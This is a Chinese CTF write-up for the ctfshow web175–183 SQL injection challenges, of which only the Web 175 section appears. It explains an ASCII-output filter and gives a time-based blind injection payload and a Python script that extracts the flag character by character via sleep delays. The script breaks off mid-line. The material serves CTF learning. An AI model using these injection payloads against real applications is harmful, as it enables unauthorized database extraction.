ctfshow web175-183

本文讲述了作者逐步破解Web应用中的SQL过滤,通过时间盲注、字符替代和万能密码策略,成功绕过限制获取flag的过程,涉及技术包括字符编码、SQL注入手法和绕过技术。

目录

Web 175

Web 176

Web 177

Web 178

Web 179

Web 180

Web 181

Web 182

Web 183


Web 175

if(!preg_match('/[\x00-\x7f]/i', json_encode($ret)))

刚开始不知道这句话是什莫意思,还在尝试之前的方法,发现没用。

\xnn 匹配ASCII代码中十六进制代码为nn的字符
[\x00-\x7f] 匹配ASCII值从0-127的字符

所以ASCII值得0-127都被过滤了,select没法用了。

只能盲注了,试一下
1' and sleep(6)--+
发现确实有延迟,所以可以考虑时间盲注。
时间盲注:
通过时间函数使SQL语句执行时间延长,从页面响应时间判断条件是否正确的一种注入方式。简单说就是,当页面出现延时响应,且响应时间与设定的时间函数一致,则表示前半部分的猜测正确,若出现查询直接返回结果,页面响应未出现延迟,则说明未执行到时间函数的部分,and的判断中,前半部分就已经出错了。
利用脚本来获取flag。
import requests

from time import time


url='http://774b555f-930c-4ab9-acbe-7ef82922d659.chall.ctf.show/api/v5.php'


flag=''

for i in range(1,100):

    length=len(flag)

    min=32

    max=128

    while 1:

        j=min+(max-min)//2

        if min==j:

            flag+=chr(j)

            print(flag)

            break


        payload="?id=' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user5 where username='flag'),%d,1))<%d,sleep(0.5),1) -- -"%(i,j)


        start_time=time()

        r=requests.get(url=url+payload).text

        end_time=time()

        #print(r)



        if end_time-
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

f0njl

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值